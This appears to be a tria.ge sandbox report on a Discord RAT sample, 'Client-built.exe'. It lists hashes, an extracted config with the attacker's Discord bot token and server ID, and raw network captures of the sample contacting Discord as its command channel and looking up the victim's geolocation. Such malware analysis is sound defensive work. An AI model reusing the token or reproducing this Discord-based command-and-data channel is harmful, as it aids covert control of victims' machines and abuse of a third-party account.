Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
93s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
15/07/2024, 14:22 UTC
Behavioral task
behavioral1
Sample
Client-built.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
Client-built.exe
Resource
win10v2004-20240709-en
General
-
Target
Client-built.exe
-
Size
78KB
-
MD5
3fa3a056ee826c171b5a028d686a6f89
-
SHA1
624bb8dfc93d71f6a4b87a3cce263a90f2a11333
-
SHA256
d6b2fc515713b8c80e13cfcc95360690f37ac10195501a9a29b643c5a24db8d4
-
SHA512
8371d1fcb7bf9f600862ce184fb0fd7a7672de1408875a1feea54fa0f958a2e4815e0a76d82216c9c3c5dc6559b18aafcf217bf7284453a415f17c0bba17fa65
-
SSDEEP
1536:52WjO8XeEXFh5P7v88wbjNrfxCXhRoKV6+V+zPIC:5Zv5PDwbjNrmAE+rIC
Malware Config
Extracted
discordrat
-
discord_token
MTI0NDI1MTUyMjcwODAxNzIyMw.GhERZu.UAZ3F1H9B1qIDlzhtwUMLkp769_M5FCa7m9dR4
-
server_id
1253923425735675915
Signatures
-
Discord RAT
A RAT written in C# using Discord as a C2.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 8 discord.com 9 discord.com 22 discord.com -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4680 Client-built.exe
Processes
Network
-
Remote address:8.8.8.8:53Requestgateway.discord.ggIN AResponsegateway.discord.ggIN A162.159.130.234gateway.discord.ggIN A162.159.133.234gateway.discord.ggIN A162.159.135.234gateway.discord.ggIN A162.159.136.234gateway.discord.ggIN A162.159.134.234
-
Remote address:162.159.130.234:443RequestGET /?v=9&encording=json HTTP/1.1
Connection: Upgrade,Keep-Alive
Upgrade: websocket
Sec-WebSocket-Key: QkvUxNit/f2tADZOXjnj6A==
Sec-WebSocket-Version: 13
Host: gateway.discord.gg
ResponseHTTP/1.1 101 Switching Protocols
Connection: upgrade
sec-websocket-accept: NMjnyz9LInzv6XMHBd8qrNU5mew=
upgrade: websocket
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cfMbKzrMiTBX%2BpC0wnSQ1JN7E7hsDcKA7M6n6BeKqCaASrVO8cEHA5Hwh4D2%2FqlU8liYzeHOnTpTd28%2F5q6QOFOosJNm7dVam6Jo2nXpUSZNogroTtHLEJHm27HvM3p8ruEXAg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
CF-RAY: 8a3a68822d5453a4-LHR
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.135.232discord.comIN A162.159.137.232discord.comIN A162.159.128.233discord.comIN A162.159.136.232discord.comIN A162.159.138.232
-
Remote address:162.159.135.232:443RequestPOST /api/v9/guilds/1253923425735675915/channels HTTP/1.1
authorization: Bot MTI0NDI1MTUyMjcwODAxNzIyMw.GhERZu.UAZ3F1H9B1qIDlzhtwUMLkp769_M5FCa7m9dR4
Content-Type: application/json; charset=utf-8
Host: discord.com
Content-Length: 29
Expect: 100-continue
Connection: Keep-Alive
ResponseHTTP/1.1 201 Created
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: __dcfduid=c0193d9642b511efba11ea5d252053fb; Expires=Sat, 14-Jul-2029 14:23:05 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-ratelimit-bucket: be56019ae011689ff5baf218062aacf5
x-ratelimit-limit: 2000
x-ratelimit-remaining: 1998
x-ratelimit-reset: 1721139672.597
x-ratelimit-reset-after: 86287.585
vary: Accept-Encoding
via: 1.1 google
alt-svc: h3=":443"; ma=86400
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IamHSIaiyfj5OoCVekUr6VeWtfVcvOafXYejFxIS%2BBK2XcEi4b%2BE8kfRjHp2XXsTdoggExFAN2TdPGS8pDvgWviTPaOWvZWvDjO%2B8ml9%2BOT%2FU8f%2FVskPFcW3FVhb"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
Set-Cookie: __sdcfduid=c0193d9642b511efba11ea5d252053fb3d109a513cc3a90f051e637b5ae85035a4aac80431dd00cf8afe776a7469edc4; Expires=Sat, 14-Jul-2029 14:23:05 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: __cfruid=0658667af2d3a685ff4433899bc19b8d7775e281-1721053385; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Set-Cookie: _cfuvid=OEQ9y7Zm3rsidcnN.pW07Ltz4LfFFoCY6HMPqKGEI.Q-1721053385161-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 8a3a68878d52653d-LHR
-
Remote address:8.8.8.8:53Request234.130.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request73.144.22.2.in-addr.arpaIN PTRResponse73.144.22.2.in-addr.arpaIN PTRa2-22-144-73deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request133.32.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request88.156.103.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request232.135.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestgeolocation-db.comIN AResponsegeolocation-db.comIN A159.89.102.253
-
Remote address:159.89.102.253:443RequestGET /json HTTP/1.1
Host: geolocation-db.com
Connection: Keep-Alive
ResponseHTTP/1.1 301 Moved Permanently
Date: Mon, 15 Jul 2024 14:23:05 GMT
Content-Type: text/html
Content-Length: 194
Location: https://geolocation-db.com/json/
Connection: keep-alive
-
Remote address:159.89.102.253:443RequestGET /json/ HTTP/1.1
Host: geolocation-db.com
ResponseHTTP/1.1 200 OK
Date: Mon, 15 Jul 2024 14:23:05 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Origin: *
-
Remote address:162.159.135.232:443RequestPOST /api/v9/channels/1262414138123092000/messages HTTP/1.1
authorization: Bot MTI0NDI1MTUyMjcwODAxNzIyMw.GhERZu.UAZ3F1H9B1qIDlzhtwUMLkp769_M5FCa7m9dR4
Content-Type: application/json; charset=utf-8
Host: discord.com
Content-Length: 115
Expect: 100-continue
ResponseHTTP/1.1 200 OK
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: __dcfduid=c06b5c6642b511efb88a9678bab0cd85; Expires=Sat, 14-Jul-2029 14:23:05 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-ratelimit-bucket: 3df15bae86f6647dd4dfcbd5c6949480
x-ratelimit-limit: 5
x-ratelimit-remaining: 4
x-ratelimit-reset: 1721053386.617
x-ratelimit-reset-after: 1.000
vary: Accept-Encoding
via: 1.1 google
alt-svc: h3=":443"; ma=86400
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BdlQhOshLZMPwhXv9piv87%2FNfncMBVWLB3LV7dpy8sTOpV4geCN5s5ynyL0flGql0ui7rnRiyNnp%2FZWjfF%2FutRlVuDvPZD8MA2yS7qaJw9xEK7C2XxkIwMmJwlpf"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
Set-Cookie: __sdcfduid=c06b5c6642b511efb88a9678bab0cd85a0bec920430816d02b003307a74ba79ae4513fc63f8ed5c287e35c4d7010d20e; Expires=Sat, 14-Jul-2029 14:23:05 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: __cfruid=0658667af2d3a685ff4433899bc19b8d7775e281-1721053385; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Set-Cookie: _cfuvid=jKLbcMvjzR7cYg6no3802130n2NQSnurobj_374pt8Q-1721053385700-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 8a3a688b88bb9442-LHR
-
Remote address:8.8.8.8:53Request253.102.89.159.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request157.123.68.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request206.23.85.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request192.142.123.92.in-addr.arpaIN PTRResponse192.142.123.92.in-addr.arpaIN PTRa92-123-142-192deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request240.221.184.93.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request29.243.111.52.in-addr.arpaIN PTRResponse
-
2.3kB 33.0kB 31 43
HTTP Request
GET https://gateway.discord.gg/?v=9&encording=jsonHTTP Response
101 -
162.159.135.232:443https://discord.com/api/v9/guilds/1253923425735675915/channelstls, httpClient-built.exe1.1kB 5.3kB 11 12
HTTP Request
POST https://discord.com/api/v9/guilds/1253923425735675915/channelsHTTP Response
201 -
894 B 4.5kB 10 11
HTTP Request
GET https://geolocation-db.com/jsonHTTP Response
301HTTP Request
GET https://geolocation-db.com/json/HTTP Response
200 -
162.159.135.232:443https://discord.com/api/v9/channels/1262414138123092000/messagestls, httpClient-built.exe1.2kB 2.9kB 8 9
HTTP Request
POST https://discord.com/api/v9/channels/1262414138123092000/messagesHTTP Response
200
-
64 B 144 B 1 1
DNS Request
gateway.discord.gg
DNS Response
162.159.130.234162.159.133.234162.159.135.234162.159.136.234162.159.134.234
-
57 B 137 B 1 1
DNS Request
discord.com
DNS Response
162.159.135.232162.159.137.232162.159.128.233162.159.136.232162.159.138.232
-
74 B 136 B 1 1
DNS Request
234.130.159.162.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
73.144.22.2.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
133.32.126.40.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
88.156.103.20.in-addr.arpa
-
74 B 136 B 1 1
DNS Request
232.135.159.162.in-addr.arpa
-
64 B 80 B 1 1
DNS Request
geolocation-db.com
DNS Response
159.89.102.253
-
73 B 140 B 1 1
DNS Request
253.102.89.159.in-addr.arpa
-
72 B 146 B 1 1
DNS Request
157.123.68.40.in-addr.arpa
-
71 B 145 B 1 1
DNS Request
206.23.85.13.in-addr.arpa
-
73 B 139 B 1 1
DNS Request
192.142.123.92.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
240.221.184.93.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
29.243.111.52.in-addr.arpa